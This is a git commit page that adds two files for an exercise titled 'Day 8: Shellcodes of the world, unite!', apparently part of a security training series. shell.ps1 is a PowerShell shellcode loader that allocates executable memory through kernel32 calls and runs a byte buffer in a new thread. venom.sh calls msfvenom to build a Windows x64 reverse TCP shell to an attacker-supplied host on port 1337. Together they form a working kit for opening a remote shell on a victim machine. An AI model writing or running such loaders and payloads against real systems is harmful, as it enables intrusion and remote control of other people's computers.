Add files for Day 8: Shellcodes of the world, unite!

This commit is contained in:
Sivert V. Sæther 2024-12-11 20:46:58 +01:00
parent 4bf6f59e29
commit 9c9e571d69
2 changed files with 20 additions and 0 deletions

19
8/shell.ps1 Normal file
View File

@ -0,0 +1,19 @@
$Shell = ""
Add-Type @"
public class Win
{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
[Byte[]] $buf = $Shell
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

1
8/venom.sh Executable file
View File

@ -0,0 +1 @@
msfvenom -p windows/x64/shell_reverse_tcp LHOST="$1" LPORT=1337 -f powershell